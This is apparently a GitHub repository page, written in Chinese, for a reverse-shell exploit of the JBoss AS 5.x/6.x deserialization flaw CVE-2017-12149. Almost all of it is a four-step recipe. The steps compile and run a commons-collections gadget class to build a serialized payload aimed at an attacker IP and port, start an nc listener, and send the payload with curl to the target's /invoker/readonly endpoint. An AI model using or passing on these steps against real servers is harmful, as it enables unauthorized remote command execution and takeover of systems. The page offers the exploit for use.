Skip to content

Latest commit

 

History

History
 
 

JbossAS_v5.x_v6.x_CVE-2017-12149

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

JbossAS 5.x/6.x反序列化远程命令执行漏洞(CVE-2017-12149)

漏洞利用

1: javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

2: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //反弹shell的IP和端口,然后会生成一个ReverseShellCommonsCollectionsHashMap.ser文件

3: 打开另外一个终端并且nc开始设置的反弹shell的IP

4: curl 网址/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser